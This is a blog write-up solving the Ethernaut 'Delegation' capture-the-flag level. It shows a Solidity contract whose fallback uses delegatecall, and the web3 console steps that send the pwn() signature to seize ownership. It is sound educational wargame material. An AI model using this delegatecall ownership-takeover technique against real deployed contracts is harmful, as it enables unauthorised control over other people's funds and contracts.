Ethernaut Hacks Level 6: Delegation

nvnx

Naveen ⚡

Posted on January 21, 2022

Ethernaut Hacks Level 6: Delegation

This is the level 6 of Ethernaut game.

Pre-requisites

Hack

Given contracts:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

player has to claim ownership of provided instance of Delegation contract.

A simple one if you clearly understand how delegatecall works, which is being used in fallback method of Delegation.

We just have to send function signature of pwn method of Delegate as msg.data to fallback so that code of Delegate is executed in the context of Delegation. That changes the ownership of Delegation.

So, first get encoded function signature of pwn, in console:

signature = web3.eth.abi.encodeFunctionSignature("pwn()")
Enter fullscreen mode Exit fullscreen mode

Then we send a transaction with signature as data, so that fallback gets called:

await contract.sendTransaction({ from: player, data: signature })
Enter fullscreen mode Exit fullscreen mode

After transaction is successfully mined player is the owner of Delegation. Verify by:

await contract.owner() === player

// Output: true
Enter fullscreen mode Exit fullscreen mode

That's it.

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

💖 💪 🙅 🚩
nvnx
Naveen ⚡

Posted on January 21, 2022

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related

Ethernaut Hacks Level 25: Motorbike
solidity Ethernaut Hacks Level 25: Motorbike

January 30, 2022

Ethernaut Hacks Level 24: Puzzle Wallet
solidity Ethernaut Hacks Level 24: Puzzle Wallet

January 29, 2022

Ethernaut Hacks Level 23: Dex Two
solidity Ethernaut Hacks Level 23: Dex Two

January 29, 2022

Ethernaut Hacks Level 21: Shop
solidity Ethernaut Hacks Level 21: Shop

January 28, 2022